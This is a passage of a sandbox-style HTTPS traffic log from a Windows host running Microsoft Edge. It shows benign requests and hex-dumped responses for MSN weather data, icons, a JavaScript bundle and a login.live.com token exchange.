00006000e)===W,d=(0,w.zB)(e)===q,s=(0,w.zB)(e)===J,l=(0,w.zB)(e)===Y,c=(0,w.zB)(e)===Q,g=(0,w.zB)(e)===X,p=!!e.assets&&!(0,T.Z)(e.assets),m=(0,w.zB)(e)===Z&&(null===(t=e.template)\|\|void 0===t?void 0:t.animatedImage)&&(null===(i=e.template)\|\|void 0===i?v
2024-04-23 21:02:29 UTC	8204	IN	Data Raw: 74 68 3d 22 24 7b 65 3d 3e 28 30 2c 53 2e 5a 29 28 74 2c 22 77 69 64 74 68 22 2c 65 2e 69 6d 61 67 65 44 61 74 61 2e 69 6d 61 67 65 57 69 64 74 68 29 7d 22 0a 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3d 22 24 7b 65 3d 3e 28 30 2c 53 2e 5a 29 28 74 2c 22 68 65 69 67 68 74 22 2c 65 2e 69 6d 61 67 65 44 61 74 61 2e 69 6d 61 67 65 48 65 69 67 68 74 29 7d 22 0a 20 20 20 20 20 20 20 20 40 6c 6f 61 64 3d 24 7b 65 3d 3e 65 2e 69 6d 61 67 65 44 61 74 61 2e 76 69 73 75 61 6c 52 65 61 64 69 6e 65 73 73 43 61 6c 6c 62 61 63 6b 26 26 65 2e 69 6d 61 67 65 44 61 74 61 2e 76 69 73 75 61 6c 52 65 61 64 69 6e 65 73 73 43 61 6c 6c 62 61 63 6b 28 29 7d 0a 20 20 20 20 20 20 20 20 40 65 72 72 6f 72 3d 24 7b 28 65 2c 74 29 3d 3e 7b 65 2e 69 6d 61 67 65 44 61 74 61 2e 76 69 73 Data Ascii: th="${e=>(0,S.Z)(t,"width",e.imageData.imageWidth)}" height="${e=>(0,S.Z)(t,"height",e.imageData.imageHeight)}" @load=${e=>e.imageData.visualReadinessCallback&&e.imageData.visualReadinessCallback()} @error=${(e,t)=>{e.imageData.vis

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.4	49936	23.11.231.163	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:28 UTC	1246	OUT	GET /service/segments/recoitems/weather?apikey=UhJ4G66OjyLbn9mXARgajXLiLw6V75sHnfpU60aJBB&activityId=E77229BA-D79F-43CA-83B8-B957C0F02B66&ocid=weather-peregrine&cm=en-us&it=app&user=m-09C025F5A71D6FE2180F319FA60A6E8D&scn=APP_ANON&units=F&appId=4de6fc9f-3262-47bf-9c99-e189a8234fa2&wrapodata=false&includemapsmetadata=true&cuthour=true&filterRule=card&distanceinkm=0&regionDataCount=20&orderby=distance&days=5&pageOcid=anaheim-dhp-peregrine&source=undefined_csr&hours=13&fdhead=prg-1sw-wxmptreplace&contentcount=3&region=us&market=en-us&locale=en-us&lat=33.75510787963867&lon=-84.39060974121094 HTTP/1.1 Host: assets.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&startpage=1&PC=U531 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:29 UTC	3667	IN	HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 Access-Control-Allow-Headers: TicketType,RequestContinuationKey,AuthToken,Content-Type,x-client-activityid,ms-cv,OneSvc-Uni-Feat-Tun,signedInCookieName,muid,appid,User-Location,user-location,userauthtoken,usertickettype,sitename,s2sauthtoken,thumbprint,Authorization,Ent-Authorization,UserIdToken,DDD-TMPL,DDD-ActivityId,DDD-FeatureSet,DDD-Session-ID,Date,date,ads-referer,ads-referer,taboola-sessionId,taboola-sessionid,Akamai-Request-ID,Akamai-Server-IP,X-MSEdge-Ref,DDD-DebugId,s-xbox-token,OneWebServiceLatency,X-FD-Features,DDD-UserType,traceparent,Widgets,Muted,Velocity,DDD-Auth-Features,SoftLanding,PrefMigrated Access-Control-Expose-Headers: TicketType,RequestContinuationKey,AuthToken,Content-Type,x-client-activityid,ms-cv,OneSvc-Uni-Feat-Tun,signedInCookieName,muid,appid,User-Location,user-location,userauthtoken,usertickettype,sitename,s2sauthtoken,thumbprint,Authorization,Ent-Authorization,UserIdToken,DDD-TMPL,DDD-ActivityId,DDD-FeatureSet,DDD-Session-ID,Date,date,ads-referer,ads-referer,taboola-sessionId,taboola-sessionid,Akamai-Request-ID,Akamai-Server-IP,X-MSEdge-Ref,DDD-DebugId,s-xbox-token,OneWebServiceLatency,X-FD-Features,DDD-UserType,traceparent,Widgets,Muted,Velocity,DDD-Auth-Features,SoftLanding,PrefMigrated DDD-AuthenticatedWithJwtFlow: False DDD-UserType: AnonymousMuid DDD-ActivityId: 662821e5-2dc3-47c6-bacd-11c75cbaab89 DDD-StrategyExecutionLatency: 00:00:00.0202835 DDD-DebugId: 662821e5-2dc3-47c6-bacd-11c75cbaab89\|2024-04-23T21:02:29.0617373Z\|fabric_segments\|ESU\|Segment_56 DDD-Auth-Features: MuidStateOrigin:MuidFromQueryString OneWebServiceLatency: 21 X-MSEdge-ResponseInfo: 21 Accept-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA X-Ceto-ref: 662821e52dc347c6bacd11c75cbaab89\|AFD:662821e52dc347c6bacd11c75cbaab89\|2024-04-23T21:02:29.038Z X-MSEdge-Ref: Ref A: 8F221F72BFAB4EA1AA59054AF336C760 Ref B: ASHEDGE1415 Ref C: 2024-04-23T21:02:29Z Expires: Tue, 23 Apr 2024 21:02:29 GMT Date: Tue, 23 Apr 2024 21:02:29 GMT Content-Length: 24406 Connection: close Set-Cookie: _C_ETH=1; domain=.msn.com; path=/; secure; httponly Set-Cookie: _C_Auth= Set-Cookie: MUID=2AF4747C1F1F6823353860161E5669A8; expires=Sun, 18 May 2025 21:02:29 GMT; domain=.msn.com; path=/; secure; samesite=none Set-Cookie: MUIDB=2AF4747C1F1F6823353860161E5669A8; expires=Sun, 18 May 2025 21:02:29 GMT; path=/; httponly Set-Cookie: _EDGE_S=F=1&SID=100739FA56506EA412692D9057196F9F; domain=.msn.com; path=/; httponly Set-Cookie: _EDGE_V=1; expires=Sun, 18 May 2025 21:02:29 GMT; domain=.msn.com; path=/; httponly Akamai-Request-BC: [a=23.11.231.159,b=402749950,c=g,n=US_GA_ATLANTA,o=20940],[a=204.79.197.203,c=o] Server-Timing: clientrtt; dur=105, clienttt; dur=55, origin; dur=54 , cdntime; dur=1 Akamai-Cache-Status: NotCacheable from child Akamai-Server-IP: 23.11.231.159 Akamai-Request-ID: 180179fe Access-Control-Allow-Methods: PUT,PATCH,POST,GET,OPTIONS,DELETE Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com X-AS-SuppressSetCookie: 1 Cache-Control: private, max-age=0 report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Timing-Allow-Origin: * Akamai-GRN: 0.9fe70b17.1713906149.180179fe Vary: Origin
2024-04-23 21:02:29 UTC	12717	IN	Data Raw: 5b 7b 22 74 79 70 65 22 3a 22 57 65 61 74 68 65 72 53 75 6d 6d 61 72 79 22 2c 22 64 61 74 61 22 3a 22 7b 5c 22 72 65 73 70 6f 6e 73 65 73 5c 22 3a 5b 7b 5c 22 77 65 61 74 68 65 72 5c 22 3a 5b 7b 5c 22 61 6c 65 72 74 73 5c 22 3a 5b 5d 2c 5c 22 63 75 72 72 65 6e 74 5c 22 3a 7b 5c 22 62 61 72 6f 5c 22 3a 33 30 2e 31 35 2c 5c 22 63 61 70 5c 22 3a 5c 22 53 75 6e 6e 79 5c 22 2c 5c 22 63 61 70 41 62 62 72 5c 22 3a 5c 22 53 75 6e 6e 79 5c 22 2c 5c 22 64 61 79 74 69 6d 65 5c 22 3a 5c 22 64 5c 22 2c 5c 22 64 65 77 50 74 5c 22 3a 34 33 2e 30 2c 5c 22 66 65 65 6c 73 5c 22 3a 37 35 2e 30 2c 5c 22 72 68 5c 22 3a 33 35 2e 30 2c 5c 22 69 63 6f 6e 5c 22 3a 31 2c 5c 22 73 79 6d 62 6f 6c 5c 22 3a 5c 22 64 30 30 30 30 5c 22 2c 5c 22 70 76 64 72 49 63 6f 6e 5c 22 3a 5c 22 31 Data Ascii: [{"type":"WeatherSummary","data":"{\"responses\":[{\"weather\":[{\"alerts\":[],\"current\":{\"baro\":30.15,\"cap\":\"Sunny\",\"capAbbr\":\"Sunny\",\"daytime\":\"d\",\"dewPt\":43.0,\"feels\":75.0,\"rh\":35.0,\"icon\":1,\"symbol\":\"d0000\",\"pvdrIcon\":\"1
2024-04-23 21:02:29 UTC	11689	IN	Data Raw: 30 34 3a 30 30 5c 22 2c 5c 22 77 69 6e 64 44 69 72 5c 22 3a 33 32 35 2c 5c 22 77 69 6e 64 53 70 64 5c 22 3a 34 2e 30 2c 5c 22 77 69 6e 64 47 75 73 74 5c 22 3a 37 2e 30 2c 5c 22 72 61 69 6e 41 6d 6f 75 6e 74 5c 22 3a 30 2e 30 2c 5c 22 73 6e 6f 77 41 6d 6f 75 6e 74 5c 22 3a 30 2e 30 2c 5c 22 72 61 41 63 63 75 5c 22 3a 30 2e 30 2c 5c 22 73 61 41 63 63 75 5c 22 3a 30 2e 30 7d 2c 7b 5c 22 66 65 65 6c 73 5c 22 3a 35 37 2e 30 2c 5c 22 72 68 5c 22 3a 39 35 2e 30 2c 5c 22 69 63 6f 6e 5c 22 3a 32 38 2c 5c 22 73 79 6d 62 6f 6c 5c 22 3a 5c 22 6e 30 30 30 30 5c 22 2c 5c 22 70 76 64 72 49 63 6f 6e 5c 22 3a 5c 22 32 38 5c 22 2c 5c 22 70 72 65 63 69 70 5c 22 3a 30 2e 30 2c 5c 22 73 6b 79 5c 22 3a 5c 22 43 4c 52 5c 22 2c 5c 22 74 65 6d 70 5c 22 3a 35 39 2e 30 2c 5c 22 74 Data Ascii: 04:00\",\"windDir\":325,\"windSpd\":4.0,\"windGust\":7.0,\"rainAmount\":0.0,\"snowAmount\":0.0,\"raAccu\":0.0,\"saAccu\":0.0},{\"feels\":57.0,\"rh\":95.0,\"icon\":28,\"symbol\":\"n0000\",\"pvdrIcon\":\"28\",\"precip\":0.0,\"sky\":\"CLR\",\"temp\":59.0,\"t

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.4	49934	13.107.213.41	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:28 UTC	431	OUT	GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:29 UTC	575	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 21:02:28 GMT Content-Type: image/png Content-Length: 1468 Connection: close Content-MD5: xw5y8uCoJhZdVfyk+U/L8Q== Last-Modified: Fri, 03 Nov 2023 21:43:14 GMT ETag: 0x8DBDCB5E23DFC43 x-ms-request-id: 1aaa153e-901e-000f-408f-9585f1000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20240423T210228Z-16f56cb894fhc4lbn16aaspyen00000001cg0000000062m3 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-04-23 21:02:29 UTC	1468	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 51 49 44 41 54 78 01 ed 97 4b 6c 54 55 18 c7 ff e7 4e 19 62 da e0 b0 a1 01 03 5c 82 51 7c 52 16 1a 6d 6b 42 57 c4 c7 c2 2e 8c 26 24 46 62 44 17 26 b4 04 62 5c a0 ad 1a 63 dc c8 82 85 89 26 b4 09 68 89 1a a7 18 79 24 1a c6 05 75 41 02 17 19 23 46 03 13 10 4a 35 c8 50 fa 9a b9 f7 9c cf ef 3c ee 74 a6 96 76 da a6 2b e6 4b 4f ef cc b9 e7 9e ef 77 ff df e3 de 01 6a 56 b3 9a d5 ec ce 36 81 45 b6 cd 67 28 85 89 89 14 22 f8 20 e9 4b 0f 29 41 22 25 3c ac 85 42 8a a4 f2 a9 a8 52 8d e1 c5 d4 d5 70 75 3e 49 de a6 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaQIDATxKlTUNb\Q\|RmkBW.&$FbD&b\c&hy$uA#FJ5P<tv+KOwjV6Eg(" K)A"%<BRpu>I

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.4	49935	40.126.29.9	443

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:29 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-04-23 21:02:29 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-04-23 21:02:29 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Tue, 23 Apr 2024 21:01:29 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C502_SN1 x-ms-request-id: f2628491-961f-460a-90af-d1f3260191b9 PPServer: PPV: 30 H: SN1PEPF0002FA67 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Tue, 23 Apr 2024 21:02:28 GMT Connection: close Content-Length: 11392
2024-04-23 21:02:29 UTC	11392	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.4	49938	23.11.231.163	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:29 UTC	846	OUT	GET /weathermapdata/1/static/weather/Icons/taskbar_v10/Condition_Card/SunnyDayV3.svg HTTP/1.1 Host: assets.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=09C025F5A71D6FE2180F319FA60A6E8D; _EDGE_S=F=1&SID=14B0D2560B6E6C25271CC63C0A196DE9; _EDGE_V=1; _SS=SID=00; MUIDB=09C025F5A71D6FE2180F319FA60A6E8D; _C_ETH=1
2024-04-23 21:02:29 UTC	1064	IN	HTTP/1.1 200 OK Content-Type: image/svg+xml Content-MD5: fM0VdSIcQtIm+qTeJZ1QJQ== Last-Modified: Fri, 12 May 2023 08:45:53 GMT ETag: 0x8DB52C54B7D0980 Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: 354bf2d0-e01e-0119-5669-8a5843000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * Expires: Wed, 01 May 2024 12:52:38 GMT Date: Tue, 23 Apr 2024 21:02:29 GMT Content-Length: 460 Connection: close Akamai-Request-BC: [a=23.11.231.159,b=402750262,c=g,n=US_GA_ATLANTA,o=20940] Server-Timing: clientrtt; dur=106, clienttt; dur=0, origin; dur=0 , cdntime; dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.11.231.159 Akamai-Request-ID: 18017b36 Cache-Control: public, max-age=2592000 Timing-Allow-Origin: * Akamai-GRN: 0.9fe70b17.1713906149.18017b36 Vary: Origin
2024-04-23 21:02:29 UTC	460	IN	Data Raw: 3c 73 76 67 20 77 69 64 74 68 3d 22 37 32 22 20 68 65 69 67 68 74 3d 22 37 32 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 37 32 20 37 32 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 3e 0a 3c 63 69 72 63 6c 65 20 63 78 3d 22 33 36 22 20 63 79 3d 22 33 36 22 20 72 3d 22 33 30 22 20 66 69 6c 6c 3d 22 75 72 6c 28 23 70 61 69 6e 74 30 5f 6c 69 6e 65 61 72 5f 32 5f 32 31 35 32 33 29 22 2f 3e 0a 3c 64 65 66 73 3e 0a 3c 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 20 69 64 3d 22 70 61 69 6e 74 30 5f 6c 69 6e 65 61 72 5f 32 5f 32 31 35 32 33 22 20 78 31 3d 22 34 39 2e 35 22 20 79 31 3d 22 34 39 22 20 78 32 3d 22 30 2e 35 37 39 37 32 37 22 20 79 32 3d 22 2d 31 30 2e 37 Data Ascii: <svg width="72" height="72" viewBox="0 0 72 72" fill="none" xmlns="http://www.w3.org/2000/svg"><circle cx="36" cy="36" r="30" fill="url(#paint0_linear_2_21523)"/><defs><linearGradient id="paint0_linear_2_21523" x1="49.5" y1="49" x2="0.579727" y2="-10.7

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.4	49939	23.11.231.163	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:29 UTC	828	OUT	GET /weathermapdata/1/static/weather/Icons/taskbar_v10/WindyV2.svg HTTP/1.1 Host: assets.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=09C025F5A71D6FE2180F319FA60A6E8D; _EDGE_S=F=1&SID=14B0D2560B6E6C25271CC63C0A196DE9; _EDGE_V=1; _SS=SID=00; MUIDB=09C025F5A71D6FE2180F319FA60A6E8D; _C_ETH=1
2024-04-23 21:02:29 UTC	1065	IN	HTTP/1.1 200 OK Content-Type: image/svg+xml Content-MD5: aOttY3MRafT3JnMOqI/dww== Last-Modified: Fri, 12 May 2023 08:45:59 GMT ETag: 0x8DB52C54F623EE5 Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: b2a44f3a-b01e-0079-5165-8adad1000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * Expires: Mon, 06 May 2024 20:56:16 GMT Date: Tue, 23 Apr 2024 21:02:29 GMT Content-Length: 2749 Connection: close Akamai-Request-BC: [a=23.11.231.159,b=402750264,c=g,n=US_GA_ATLANTA,o=20940] Server-Timing: clientrtt; dur=105, clienttt; dur=0, origin; dur=0 , cdntime; dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.11.231.159 Akamai-Request-ID: 18017b38 Cache-Control: public, max-age=2592000 Timing-Allow-Origin: * Akamai-GRN: 0.9fe70b17.1713906149.18017b38 Vary: Origin
2024-04-23 21:02:29 UTC	2749	IN	Data Raw: 3c 73 76 67 20 77 69 64 74 68 3d 22 37 32 22 20 68 65 69 67 68 74 3d 22 37 32 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 37 32 20 37 32 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 3e 0a 3c 70 61 74 68 20 66 69 6c 6c 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 20 63 6c 69 70 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 20 64 3d 22 4d 33 39 20 33 36 43 34 35 2e 36 32 37 34 20 33 36 20 35 31 20 33 30 2e 36 32 37 34 20 35 31 20 32 34 43 35 31 20 31 37 2e 33 37 32 36 20 34 35 2e 36 32 37 34 20 31 32 20 33 39 20 31 32 43 33 32 2e 33 37 32 36 20 31 32 20 32 37 20 31 37 2e 33 37 32 36 20 32 37 20 32 34 43 32 37 20 32 36 2e 31 38 35 37 20 32 37 2e 35 38 34 34 20 Data Ascii: <svg width="72" height="72" viewBox="0 0 72 72" fill="none" xmlns="http://www.w3.org/2000/svg"><path fill-rule="evenodd" clip-rule="evenodd" d="M39 36C45.6274 36 51 30.6274 51 24C51 17.3726 45.6274 12 39 12C32.3726 12 27 17.3726 27 24C27 26.1857 27.5844

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.4	49940	23.11.231.163	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:29 UTC	506	OUT	GET /bundles/v1/edgeChromium/latest/nas-highlight-v3v4.5873ec4aa566b5d8efc3.js HTTP/1.1 Host: assets.msn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:29 UTC	1154	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-MD5: 8DW8GgbDp1NJpL26qE2Auw== Last-Modified: Wed, 17 Apr 2024 19:30:49 GMT ETag: 0x8DC5F14E2FD612B Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: 9591ef95-b01e-00cc-1ffd-901ae3000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Tue, 23 Apr 2024 21:02:29 GMT Content-Length: 45126 Connection: close Akamai-Request-BC: [a=23.11.231.159,b=402750294,c=g,n=US_GA_ATLANTA,o=20940] Server-Timing: clientrtt; dur=105, clienttt; dur=0, origin; dur=0 , cdntime; dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.11.231.159 Akamai-Request-ID: 18017b56 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Cache-Control: public, no-transform, max-age=31535892 Timing-Allow-Origin: * Akamai-GRN: 0.9fe70b17.1713906149.18017b56 Vary: Origin
